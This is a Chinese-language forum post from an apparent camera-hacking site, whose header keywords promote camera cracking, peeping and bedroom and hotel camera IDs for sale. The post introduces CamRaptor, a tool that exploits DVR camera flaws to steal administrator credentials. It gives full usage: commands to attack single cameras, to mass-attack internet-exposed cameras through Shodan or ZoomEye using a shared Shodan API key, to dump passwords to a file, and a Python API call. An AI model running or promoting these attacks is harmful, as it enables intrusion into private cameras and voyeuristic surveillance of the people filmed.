摄像头破解,摄像头破解教程,摄像头偷窥,摄像头扫描破解,黑瞳,云视通破解,摄像头漏洞,摄像头破解教程,云视通ID出售、云视通扫描工具,云视通卧室ID,云视通ID大全,摄像头宾馆,易视眼、360小水滴、ipcam、wificam

 找回密码
 立即注册
搜索
查看: 287|回复: 0

针对DVR摄像头的漏洞利用工具

[复制链接]

13

主题

15

帖子

268

积分

版主

Rank: 7Rank: 7Rank: 7

积分
268
发表于 2021-10-19 11:39:50 | 显示全部楼层 |阅读模式
关于CamRaptor

CamRaptor是一款针对DVR摄像头的漏洞利用工具,它可以利用当前主流DVR摄像头中的多个安全漏洞,帮助广大研究人员获取目标DVR网络摄像头的管理员凭证。

功能介绍

能够利用当前主流DVR摄像头中的多个安全漏洞,例如Novo、CeNova和QSee等。

经过优化处理,支持以多线程的形式同时攻击列表中的多个目标DVR摄像头。

简单的命令行接口和API使用方法。

工具安装

由于CamRaptor使用Python3开发,因此首先需要在本地设备上安装并配置好Python3环境。接下来,广大研究人员可以使用下列命令下载


CamRaptor的使用非常简单,我们只需要在命令行终端中输入“camraptor”命令即可使用CamRaptor:

usage: camraptor [-h] [-t] [-o OUTPUT] [-i INPUT] [-a ADDRESS]                  [--shodan SHODAN] [--zoomeye ZOOMEYE] [-p PAGES]   CamRaptor is a tool that exploits several vulnerabilities in popular DVR cameras to obtain network camera credentials.   optional arguments:   -h, --help            显示这个帮助信息并退出   -t, --threads         启用多线程模式以获得更好的性能   -o OUTPUT, --output OUTPUT                         将结果存储至文件   -i INPUT, --input INPUT                         地址输入文件   -a ADDRESS, --address ADDRESS                         提供单个地址   --shodan SHODAN       通过网络利用远程设备所使用的Shodan API密钥   --zoomeye ZOOMEYE     通过网络利用远程设备所使用的ZoomEye API密钥   -p PAGES, --pages PAGES                         需要通过ZoomEye获取的页面数量工具使用样例攻击单个摄像头

下列命令可以攻击单个DVR摄像头:

camraptor -a 192.168.99.100通过网络攻击远程DVR摄像头

接下来,我们可以使用Shodan搜索引擎来搜索并攻击网络上的摄像头,此时我们可以使用-t参数来设置多线程数量以获得更好的性能:

camraptor -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD

注意:项目中给出的Shodan API密钥(PSKINdQe1GyxGgecYz2191H2JoS9qvgD)是开发人员自己的专业版API密钥,你可以使用你自己的密钥,当然了你想用开发人员的也没意见,大家资源共享嘛!

从输入文件获取目标摄像头

我们还可以使用开放数据库中提供的摄像头地址,此时我们可以使用-t参数来设置多线程数量以获得更好的性能:

camraptor -t -i cameras.txt -o passwords.txt

注意:此命令将会攻击cameras.txt中给出的所有摄像头,并会将所有获取到的密码存储至passwords.txt文件中。

API使用

CamRaptor还提供了自己的Python API,可以将其导入至你们自己的项目代码中并调用其功能:

from camraptor import CamRaptor基础函数

exploit(address):根据给定的地址针对单个目标执行漏洞利用攻击;

调用样例

攻击单个摄像头:

from camraptor import CamRaptor camraptor = CamRaptor() creds = camraptor.exploit('192.168.99.100') print(creds)




工具及教程附件下载:




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|摄像头漏洞安全论坛 ( 本站仅服务北美,日本和台湾地区,其他地区用户考虑使用法律风险。 )

GMT+8, 2021-12-3 00:30 , Processed in 0.293968 second(s), 21 queries .

Powered by Discuz! X3.4

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表